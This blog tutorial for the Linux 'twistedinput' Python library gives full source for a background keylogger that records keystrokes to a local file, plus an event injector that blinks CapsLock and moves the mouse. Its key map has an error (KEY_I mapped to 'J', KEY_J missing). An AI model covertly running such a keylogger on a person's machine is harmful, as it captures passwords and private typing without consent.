In previous articles I described some basic stuff about twisted input. With this boring start, let's make some fun. In this short article I'll show you, how to build simple keylogger and event injector. Please don't abuse this for doing anything malicious. I don't take responsibility for it.
Simple keylogger
Twistedinput is ported for Linux systems only. Since most SW for Linux is also open-source, it's not hard to find a good keylogger without worrying about malware infection. But you can make your own. See the following example.
#!/usr/bin/env python
from __future__ import unicode_literals
from twistedinput import protocol, device, factory
from twistedinput.defines import *
from twisted.internet import reactor
import sys
class KeyNames(object):
keyMap = None
def __init__(self):
self.keyMap = {EV_KEY : self.getKeyNames()}
def getKeyNames(self):
"""
get mapping object for naming keys
"""
return {
KEY_A : "A", KEY_B : "B", KEY_C : "C",
KEY_D : "D", KEY_E : "E", KEY_F : "F",
KEY_G : "G", KEY_H : "H", KEY_I : "J",
KEY_K : "K", KEY_L : "L", KEY_M : "M",
KEY_N : "N", KEY_O : "O", KEY_P : "P",
KEY_Q : "Q", KEY_R : "R", KEY_S : "S",
KEY_T : "T", KEY_U : "U", KEY_V : "V",
KEY_W : "W", KEY_X : "X", KEY_Y : "Y",
KEY_Z : "Z"}
def getKeyName(self, event):
try:
return self.keyMap[event.type][event.code]
except KeyError:
return None
class LoggerProtocol(protocol.EventProtocol):
keyNames = None
logFile = None
def __init__(self, eventFactory, keyNames, logFile):
protocol.EventProtocol.__init__(self, eventFactory)
self.keyNames = keyNames
self.logFile = open(logFile, 'a')
def eventReceived(self, event):
if event.value:
key = self.keyNames.getKeyName(event)
if key is not None:
self.logKey(key)
def logKey(self, key):
self.logFile.write(key)
self.logFile.flush()
def connectionLost(self, reason):
self.logFile.close()
def main():
if len(sys.argv) < 3:
print "usage: %s <keyboard device> <log file>" % sys.argv[0]
exit(1)
dev = device.EventDevice(
LoggerProtocol(
factory.InputEventFactory(),
KeyNames(),
sys.argv[2]),
sys.argv[1])
dev.startReading()
reactor.run()
if __name__ == '__main__':
main()
KeyNames class does basically same think as EventMapping classes. But EventMapping has a different contract, describing its usage and purpose. It's good idea to define another class for naming a keys rather than modifying some mapping classes or use KeyNames as mapping.
For keep code simple, I named only character keys. You can make better keylogger in the same approach.
You can run this script in a background with arguments defining path to you keyboard device and log file respectively. After that it will log pressed keys into file, even if you type into another program.
Event injector
Another interesting thing is generate fake key strokes by software. You can type characters, move a mouse cursor or send power button event which shut down your computer.
Let's write another example. Following program periodically blink with CapsLock LED on you keyboard. Additionally it sniff key strokes and whenever you press left Ctrl button it moves your mouse by 10 pixels in random direction.
#!/usr/bin/env python
from __future__ import unicode_literals
from twistedinput import protocol, device, factory, event, mapping
from twistedinput.defines import *
from twisted.internet import reactor, task
import sys
import random
class EventGenerator(object):
def createSyncEvent(self):
return event.InputEvent.buildInputEvent(EV_SYN, SYN_REPORT, 0)
def createEventSeq(self):
raise NotImplementedError("override in subclass")
class BlinkCaps(EventGenerator):
state = None
keyboardProtocol = None
def __init__(self, keyboardProtocol):
self.state = False
self.keyboardProtocol = keyboardProtocol
def __call__(self):
for event in self.createEventSeq():
self.keyboardProtocol.transport.write(event.toBytes())
def createLedEvent(self):
value = [0, 1][self.state]
self.state = not self.state
return event.InputEvent.buildInputEvent(EV_LED, LED_CAPSL, value)
def createEventSeq(self):
return [self.createLedEvent(), self.createSyncEvent()]
class MouseMove(EventGenerator):
def __init__(self, moveDistance):
self.moveDistance = moveDistance
def getAxis(self):
return random.choice([REL_X, REL_Y])
def getMove(self):
return random.choice([self.moveDistance, -self.moveDistance])
def createMoveEvent(self):
return event.InputEvent.buildInputEvent(EV_REL, self.getAxis(), self.getMove())
def createEventSeq(self):
return [self.createMoveEvent(), self.createSyncEvent()]
class KeyboardProtocol(protocol.EventProtocol):
mouseProtocol = None
mouseMove = None
def __init__(self, *args, **kwargs):
protocol.EventProtocol.__init__(self, *args, **kwargs)
self.mouseMove = MouseMove(10)
def keyLeftCtrl(self, event):
if event.value:
for event in self.mouseMove.createEventSeq():
self.mouseProtocol.transport.write(event.toBytes())
class MouseProtocol(protocol.EventProtocol):
def eventReceived(self, event):
pass
def main():
if len(sys.argv) < 3:
print "usage: %s <keyboard device> <mouse device>" % sys.argv[0]
exit(1)
keyboardProtocol = KeyboardProtocol(
factory.InputEventFactory(),
mapping.KeyboardMapping())
keyboard = device.EventDevice(
keyboardProtocol,
sys.argv[1])
mouseProtocol = MouseProtocol(
factory.InputEventFactory())
mouse = device.EventDevice(
mouseProtocol,
sys.argv[2])
keyboardProtocol.mouseProtocol = mouseProtocol
t = task.LoopingCall(BlinkCaps(keyboardProtocol))
t.start(1.0)
keyboard.startReading()
reactor.run()
if __name__ == '__main__':
main()

Žádné komentáře:
Okomentovat